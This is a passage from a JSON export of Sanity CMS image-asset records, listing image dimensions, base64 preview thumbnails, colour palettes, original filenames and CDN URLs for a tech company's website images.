imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7d7d7d","foreground":"#fff","population":3.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":2.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7d7d","foreground":"#fff","population":3.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Gregory Stark.jpg","path":"images/sczeoy4w/production/e7c05fb711b086060991f90eb91a8f5ce062cf64-512x512.jpg","sha1hash":"e7c05fb711b086060991f90eb91a8f5ce062cf64","size":26998,"uploadId":"GD77u6AZ3QpNcOpxVyZJe2VSvv3ikQoi","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7c05fb711b086060991f90eb91a8f5ce062cf64-512x512.jpg"} {"_createdAt":"2024-01-10T11:08:58Z","_id":"image-e7c78029fc890eb30fa9ddb36ed5818b0cec8fe3-303x314-png","_rev":"BPcLfKU310hDl60jaPfbMS","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:58Z","assetId":"e7c78029fc890eb30fa9ddb36ed5818b0cec8fe3","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.964968152866242,"height":314,"width":303},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAIAAADJt1n/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2UlEQVQ4jZWT627bMAyF/f7v2CXr0iVxZEnWjRRvGuxuQFMMm0ucf+KHI/JIk4iZjY+lqgBYtqoAICJPx2OoWe+EiJOI/qFtDLPtoF9v95eX08u38/V6a9D2hncNM2ORlLMPYWJR3XA143f13u7z7XQ+nb+f7/crtGLazch0u6SZiSoi1tYmIhYiZbS+KngFL+CxLbW4Vl2HRSgaReNoXEz5nd/cVKdeK62rpIfGV75+48tZHhcDt3cHkzB4FzkjNxQ+Dj/1nHvwFGfxr/z2Qq8nmS/W3G9mU9xEi7Ebik8wNKil5lKgBC5eqzeIg9KQNPiDJA2pw542P9WGMVXnawyAtTOSICnRUB72Sfops6l3qhXio4afLc8IgTAxNzF9Tv9vNbFIx16WFn+0fIOeWboq2x7q/2DZ4bxAfNvhwiYHuL0mZkHoeWnxra1XaJ4E9dOD/RcMDZNr8dLSDVsk7l+BW4Xosr/VtCBUZj4ME0up1S1xXsqywlo69O2vHHWutS5hfaxlyRgKZiAS/YpziC5usFthyYAkR7wn3uElrG6tPqNLEEonPu5cqvPhEYtLOK/gMyIdmnp3Ls35OIfySHgPbQ6tAB1Z2h5Vg5iKT83n/ljBrVCPWf8CqlLOvoyzfLIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434246","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#81393c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8eca1","foreground":"#000","population":1.03,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cea4cc","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8eca1","foreground":"#000","population":1.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94668e","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be3464","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"explorer-with-actor.png","path":"images/sczeoy4w/production/e7c78029fc890eb30fa9ddb36ed5818b0cec8fe3-303x314.png","sha1hash":"e7c78029fc890eb30fa9ddb36ed5818b0cec8fe3","size":5316,"uploadId":"dYoXmuvIRKotwpcaOLmcZnlDqoapU18Z","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7c78029fc890eb30fa9ddb36ed5818b0cec8fe3-303x314.png"} {"_createdAt":"2022-10-03T10:31:29Z","_id":"image-e7f5b8ba57099e7e7f53be00e7df8f6ecf8af085-1280x720-jpg","_rev":"vDQRRYe9nRreptIRp9y1Hc","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:29Z","assetId":"e7f5b8ba57099e7e7f53be00e7df8f6ecf8af085","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAECAwQI/8QAHhAAAgEDBQAAAAAAAAAAAAAAAAIBAxEhIjFhcZH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABURAQEAAAAAAAAAAAAAAAAAAAAh/9oADAMBAAIRAxEAPwDpanCrmHqX4NCNFss/glLqcaQqKult2kBrEZ7AEf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5f5d5f","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e0533","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#daafb9","foreground":"#000","population":1.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#daafb9","foreground":"#000","population":1.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbcd4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8a8b","foreground":"#fff","population":0.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f40a62","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"InfluxDB-control.jpg","path":"images/sczeoy4w/production/e7f5b8ba57099e7e7f53be00e7df8f6ecf8af085-1280x720.jpg","sha1hash":"e7f5b8ba57099e7e7f53be00e7df8f6ecf8af085","size":59598,"uploadId":"pCUssCXxfQ3xfAkW6qiBz6qksPamnuLm","url":"https://cdn.sanity.io/images/sczeoy4w/production/e7f5b8ba57099e7e7f53be00e7df8f6ecf8af085-1280x720.jpg"} {"_createdAt":"2023-04-19T10:09:43Z","_id":"image-e8241d6585e249353b457238f6dd82c450048466-1200x630-jpg","_rev":"nhj4h0WlhYHZ2WujrmQ2rh","_type":"sanity.imageAsset","_updatedAt":"2023-04-19T10:09:43Z","assetId":"e8241d6585e249353b457238f6dd82c450048466","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMQ]Z*PpwvveUHTeVYt7cFiINeVrkXjcnN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGAgj/xAAiEAACAgEEAQUAAAAAAAAAAAABAgMEAAUREiEHFEJhkbH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABsRAAICAwEAAAAAAAAAAAAAAAECAxEABDES/9oADAMBAAIRAxEAPwDoR6MjSs4uTqD7QehitsnSKk1uW1LMEXpXPW+PQgeqc9/eT3kVmXRUAJAaVQfnvD23aOBmXtZTpwibYSM8Jyg0ydrVCGd14NIvLbDN0QFpQADYBB+YY0YIUAmzgSV7NcvP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c54","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7780d","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8880d","foreground":"#000","population":4.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0bebc","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d050","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#767572","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8880d","foreground":"#000","population":4.9,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Events_calendar_meta_preview.jpg","path":"images/sczeoy4w/production/e8241d6585e249353b457238f6dd82c450048466-1200x630.jpg","sha1hash":"e8241d6585e249353b457238f6dd82c450048466","size":28577,"uploadId":"2IdKGsLkPpTptAglSntEhhWTMdsGRmk4","url":"https://cdn.sanity.io/images/sczeoy4w/production/e8241d6585e249353b457238f6dd82c450048466-1200x630.jpg"} {"_createdAt":"2023-12-20T09:50:49Z","_id":"image-e866c06798129efbd2c3ddb1ec64c13b7600d62f-1286x722-png","_rev":"Do3156plRwIXmiihO3Xp7h","_type":"sanity.imageAsset","_updatedAt":"2023-12-20T09:50:49Z","assetId":"e866c06798129efbd2c3ddb1ec64c13b7600d62f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8SigS_2D*og?a~p9GxtofNHt8%LRjflt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7811634349030472,"height":722,"width":1286},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfklEQVQokY2S207kMBBE8///A0IsPCCE0Gof+AhmYG7JOL603baTQt2eGQUQYiNV7Mjt01WOu1orAhGstQs5EEXI2jzP31RKAREhhICUEqZpuqx1uVQY59EPRxgzwjkH770WfgXKt4iZ4bzXOma+AGXscplgfMRxlIKAGBNSYuRcUBedl8CYGNZ5UPycolYFVriQ4HwERUZKBYkLYhJlJM4ascEmbdKArXmtVZ2JGjBXjNbjeJS4AaQOCyhm3WRGq87lCHLOCpAEzgc9R2b+1LArRYABh97AGItASR2KiMS5P208O50UIk1CIHUpaxegTLwnDIOFMU4dShONp2rz5cGLW7kN8gNjJJScMZ9id/KSLs4TAkWNtbwGXyVrUrta7/G66rHbO/QDwToGc2lAzvkUqR3wT7AzcLP1eHxe4+b+FXcPb7h7eMe/lwN2e0J3LvoNJAKkdsZmR3h83uLqdoXrP2sdn/7usNmGBvxfySOjRDNjwqEnHIYm+Zbb8QEv9FgyzOZQXgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#67686a","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#283d5f","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3644bc","foreground":"#fff","population":1.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb8cc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5b1f8","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6199","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3644bc","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven-Create-free PostgreSQL-database.png","path":"images/sczeoy4w/production/e866c06798129efbd2c3ddb1ec64c13b7600d62f-1286x722.png","sha1hash":"e866c06798129efbd2c3ddb1ec64c13b7600d62f","size":85680,"uploadId":"D3Xjvm1jdiR8CEVIyxkQ4QE7Bdjttqkq","url":"https://cdn.sanity.io/images/sczeoy4w/production/e866c06798129efbd2c3ddb1ec64c13b7600d62f-1286x722.png"} {"_createdAt":"2022-06-15T20:02:37Z","_id":"image-e893de3a3da94403b482cf00ccb2ad86af9ef6a9-640x345-png","_rev":"cEPH2uRN58AU2lp9QO8H73","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:08Z","assetId":"e893de3a3da94403b482cf00ccb2ad86af9ef6a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA7Bc[p0Mxs,WB?wxvM{WCWBkYs+fkflae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.855072463768116,"height":345,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACYElEQVQokR3SWU8aYRiG4WH7ZoRS6jBI1ZpWmH0+cMCRHVFbTbC2TcHZFzaBRItiAU/apJUWlzQ18R+3mFynb9774EEw8SwkDRalweLWOS6d49IAz1zMZS+W8pfRwhCXTvF0n0j3CbFLiN2w2AsmOoBteGkHiRRH8MOPdG2aqk1z6k1WmWWVWUb+LdV/FbWbinG7+fFb4mAkHU6yR1e5oyupOn5TPA1wto8ykZXKRDqe5fW7knlf7T2+7z9WOw/vnLtdc3bg3B627vftWan+XaqOk3vnyb2BsHO2Kp34WRNQBrK8PUl8uhY/T7fk2W7z73774W3jT8WYFZVpQf5ZVqf7zu22eh0rfgnxTpC1gqwRoFSMVAFpIM/SZ+HcBZEbLuWHK+XRamW8Upksl0fR4tdI4TJavFzbGb/aHr5ItlHKAKSOxlUsJi/EFYzUEUDZgLYB7fhoB9ANL9ty812X0HcJfY/QR5PdYKqDp5vEhklALQK1iKBGeDXCqRFOR7B1GYvJaGyeAUjTS9lutuViO26ug8E2senEC7pQVmFJgQUZ5mSYkeGWAjc1mNIR/3o9sH7sn2doKKn7SNNHWV7a8tFWgDdfiiqTrydLtWT5+OlegTkFZtSEpMO0heDxWpRRlngzxGgLMQWNa+g8wQCUAWjLz1mLCZMQTSJl46kmLjbCG044aRHQJqCDRKnaa6ivpVq4YC+QKhrXAGmCp/8epunmTtx81/PELfQ8fNfLNgFjA9oCtIU8j9VDjBHgmhjb8NG2d86ZYxoeru3iuwjff9JD+J6L77rZtpeZz+v/wv4BdEWaAZ+aKqcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b355f","foreground":"#fff","population":1.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":32.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":32.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b7d2","foreground":"#000","population":0.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0d8ed","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#967c4e","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e35b30","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e893de3a3da94403b482cf00ccb2ad86af9ef6a9-640x345.png","path":"images/sczeoy4w/production/e893de3a3da94403b482cf00ccb2ad86af9ef6a9-640x345.png","sha1hash":"e893de3a3da94403b482cf00ccb2ad86af9ef6a9","size":70513,"uploadId":"qyv6v4i4tlKbqscLKw6dJZbRwZajevnV","url":"https://cdn.sanity.io/images/sczeoy4w/production/e893de3a3da94403b482cf00ccb2ad86af9ef6a9-640x345.png"} {"_createdAt":"2023-10-19T09:09:09Z","_id":"image-e8b71347733a02f340bf2973f17deee19d224307-1695x300-png","_rev":"zE08g5Yj02ino50zLdchgi","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T09:09:09Z","assetId":"e8b71347733a02f340bf2973f17deee19d224307","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4009jvfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.65,"height":300,"width":1695},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAG66AABuugHW3rEXAAAAbElEQVQImU3OSQpCUQxE0bMbBRVBvj3oF8QebAbufykSqAcOCpLcVCpwwx5zrHBAjy6zZea7qPqm4os/NoAvTjjijQ8uOXzGC88EV1+6Zr9UrHxVT+pgpQwxwhbrfNeS73iEzcI3MY/zffNMf+QbDnOc8m4vAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Metaplanet-logo.big.png","path":"images/sczeoy4w/production/e8b71347733a02f340bf2973f17deee19d224307-1695x300.png","sha1hash":"e8b71347733a02f340bf2973f17deee19d224307","size":17171,"uploadId":"j2Je4c4LOuppW6puBTmrkrBInppyTL5c","url":"https://cdn.sanity.io/images/sczeoy4w/production/e8b71347733a02f340bf2973f17deee19d224307-1695x300.png"} {"_createdAt":"2024-01-29T10:56:23Z","_id":"image-e8cf258fdbbff5803b0e7ff6577dc92c3282b241-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ87q8V","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T10:56:23Z","assetId":"e8cf258fdbbff5803b0e7ff6577dc92c3282b241","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4A9%X3a]ru%0;?XOx[*17]h4T4@-gx_s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACnklEQVQokU3SWVNSAQDFcT5BDy4sCYjs4FUWuaFcUJQbi4gXkcjSyhZ1tFyThIiMdKLFrMypmZaXcpppaqYemmZavkBvfaN/E/nQF/jNOXOOqkk7jsk2hds3R5e4SFdgma7AGk7vGibXCnrbKlrzGhrzOjprGZ31OhrTMi2GeQTXAhuJLB8nj7Gt5BjoraFSGyboFueJxksMpSpIsTKhwQpheZOIvEUgfAuLUEJv38DgqKC3l9GYFmg2zCIKF9jPSvyeM/L2VD9K5BoqtfEU/r5FkqNVhrM15PQmcvo2SaVOJv+Q4bFdJLmOX9qmJ3yXQOQOds/VBiq4L1NKjfP5XJidfAFZuo2qVT+BN3iFRKZKSrlFPFMjqWyTzt0je/IR+dP7ZPJ7DCR3iMR3iaYe4Qne4Kh1jXZnlQHpPpPpXTLxZ3QHX/4De0JLpJSbJEc3SYzWGBmvoxR2GJt4jFJ4gjyyg7dvC7u3hsNXw+wuobcWMXXWEfreIca+4Y9+wRU8QNVymFAernB8pNoA07m/de8zPPaA/ngdQbyJ0VlqjNJh30DqnCPjOUcisEFv5ICA/BNf9Os/sElXwOycpjuwgD+0ghgpIkZK9EhlfH0VnL4yensRnaXYWLjbdZVicIQPQx52B7Mog88R5R//geocJkMeh+MsNmGWducsOvMMWtMc2o7L6MzLaM2r6CzraK3X8bpXqUsxfiXbOTgeozC0hxj7jnfgC85jb1A1q8ew6nO4HWewCTMctVykqW2aprZLja+p2xfRdKyiPUwouNZZEE/wtD/KtfAZYuF9PJFPdIbeY/O/QnWkNUezZhx120nUxila9GdpbjtPi2GGVuM8atPSf2AZi6NMqGuFhHeJsLdKp38Pe89rrP4XmD3P+AMjyngc+fVYYQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4470","foreground":"#fff","population":1.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d16533","foreground":"#fff","population":8.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b94c0","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ebf6","foreground":"#000","population":4.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#69658d","foreground":"#fff","population":2.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d16533","foreground":"#fff","population":8.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop social MediaRecomender no-date (1200x628).png","path":"images/sczeoy4w/production/e8cf258fdbbff5803b0e7ff6577dc92c3282b241-1200x628.png","sha1hash":"e8cf258fdbbff5803b0e7ff6577dc92c3282b241","size":169213,"uploadId":"tgELbUFHagbQjB0XlasEf2xY7QRUMQpm","url":"https://cdn.sanity.io/images/sczeoy4w/production/e8cf258fdbbff5803b0e7ff6577dc92c3282b241-1200x628.png"} {"_createdAt":"2022-10-26T11:39:01Z","_id":"image-e8d0010c82b25a223c900725487e646c0b305e95-512x512-png","_rev":"ekhq2FUysTeCYyFMjoW5jr","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T11:39:01Z","assetId":"e8d0010c82b25a223c900725487e646c0b305e95","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRE.^L%MExs:r?4TRixaRkoz?w%MxGW;M{9Ej=R+WBt7?ckCRkogWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEj0lEQVQ4jQXBC28TBQAA4Ps96Pq83rX37t31rr3eXdu7vtau7bq+1/ebdYzBGBQcK0PCYyIgOjQECBAiIhqVYGYwkCAoU2TIZsWphIFIENTE7wOSVaXcjnS7jQN7th7avWn7pszGmrdVkTt1b70WFlV2AB7YYNrwOvyaDhtA7CAhgZjTQCkQ40OAfEOptX1T25K9mdLcbGF6e7g9JtTr9lrZlUkrbi/H8BjNW3AORHgDKoCI3QDzOkyCuCADlBtCvWUfGxfbHXlss9rZKjc6tlyeCwU5p8PKc5RH4ob8QiBAC14zKeohRqsndTBn5oMCUKjS5SpVb9K5onU4Q8cy1HDC6vcyrJVAzLAVRz0OW9gjDKqc4kfdYVAMQLTLQog442WBfJUeLRKlKjWSISQ/ZHeBTgEVWIolcNwMMxgqMlY7RdCYhbObQik4VcdjRSqQsalZN5Ap0ukClczhagiiRS3JaykKlBkyIttVzuogMDuOUmbIpNcjuE6JQfE6mm4T+Ukp3y0D/gjmiyDuIMSIWpwfIHkNRRmDTrYZ9dVDnoxbSMh8VLQ5KQzHDQ4f6E/DsTJSmBAas0WAk0Crw0DyWpwboBwaTja4RCzpE6shpR1WpkeCW+OBTsxbDrpUJy77oEASjhUs6RpV3OQBGIeB4vSoVYOzGs6td/nNqbDQSYZbQ/6JqP9gOblnNNbNDPVKw9WIJLtgOWSK5i2pGp6p0AAngrwEsnajXQZdYUgJo6Wke28j81Yz/06r8OH0xovT7Qs7Wud21CeSXpsNpCWdLw7HC0S2QAOUTSt4TKICuXywEoFdg+ZknJ+pxY+088eahdMT9Y+m25d2the25EeHBJI1WJ1apw/0x9BklgQIRuNUTbIf5iQjKxpZF6gG8VZG3TUa7aais9mR+UrmYC0xnlYFATHiAxZaw0pG0Qf5ImbA6YYExWyTTSRvsDA6hNM5FEspIXdHIzvTsV42cbianavEMhEHZYe1iEaPaqyCkZVAVgYBJUyIXowRIcJuMNu0iEMnqJZqyt2rjrxZTr1dGz0xXuo1h4fjPKfiJtqkRXQWxoiwRjNjBDxRUhpEeRXGeL3ZpqXdpmCY2VIc2tdM760mDzWyR8YLm8uDathKezATA4FWkJIttMuCOiDAnyC9I6QnRgl+Wgw4krnAtnbq8GRlfizfK8X3VhLznfxkJewZJAkJMlqNEAvZvKgwiNpUM5BrDjWmCpOz47v279539OiJ9xcuvHf43P6Z49va+1u5Q+3cBzuax95oVeoxm0LrcaOeMECsEXOApAQCJ86fvfzV4rXvlm7eW7l1f+3W3f7167c/v3T5/MLxkwfmTu+b+fTdg4sXT586c3Lj1FRgZNgVVjjFhjksEKsDbq88+vH3Z6vrf/efvPp5/Z+fHr38of/05t1fFm/c+eLqtatXvrzx9Y3v795fevBw8ZulC59dWTh3pjc/l2/npZATuNN/vvTr83t/vFhZf9V/+m//yX+rj18t//b8zurjW8trt5fXllYfLa/9ufr4xcNnL9f+etFff/LtyoOzn3w8Ndv9HwWx3teOSlCUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404e2a","foreground":"#fff","population":2.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#646c1a","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4eff9","foreground":"#000","population":7.72,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab79a","foreground":"#000","population":1.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4eff9","foreground":"#000","population":7.72,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907163","foreground":"#fff","population":7.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#899626","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mikhail-kokho.png","path":"images/sczeoy4w/production/e8d0010c82b25a223c900725487e646c0b305e95-512x512.png","sha1hash":"e8d0010c82b25a223c900725487e646c0b305e95","size":437741,"uploadId":"EoTjXi6jHnzoPC1gNMfBnbVCRfXsApkd","url":"https://cdn.sanity.io/images/sczeoy4w/production/e8d0010c82b25a223c900725487e646c0b305e95-512x512.png"} {"_createdAt":"2022-06-06T06:38:43Z","_id":"image-e910433dc39dca33ba7817a33ebb4f380175ccf6-476x250-jpg","_rev":"0HOthdQkSgJdYc0C9bQAn9","_type":"sanity.imageAsset","_updatedAt":"2022-06-06T06:38:43Z","assetId":"e910433dc39dca33ba7817a33ebb4f380175ccf6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNPsehysxaQ,.STJMxs:k=ni%#McX8xbRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904,"height":250,"width":476},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUGB//EACEQAAICAgICAwEAAAAAAAAAAAECAwQABREhBhIxQVFx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECA//EABsRAQEAAgMBAAAAAAAAAAAAAAIBAAMREjEi/9oADAMBAAIRAxEAPwDvNjX33sO8V0ojHpfzInlNy9rNWyJbU2FZZAeeCVB7GauJQLDHvn+5L8jo1rk9IWYVkHv943z1+c00gpwrzHi+7G21KWZOA/sVPA66xlatWgrwiOCJI4x8Ko4GMNcRMl9ydiKVpnEz/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3a45","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePalette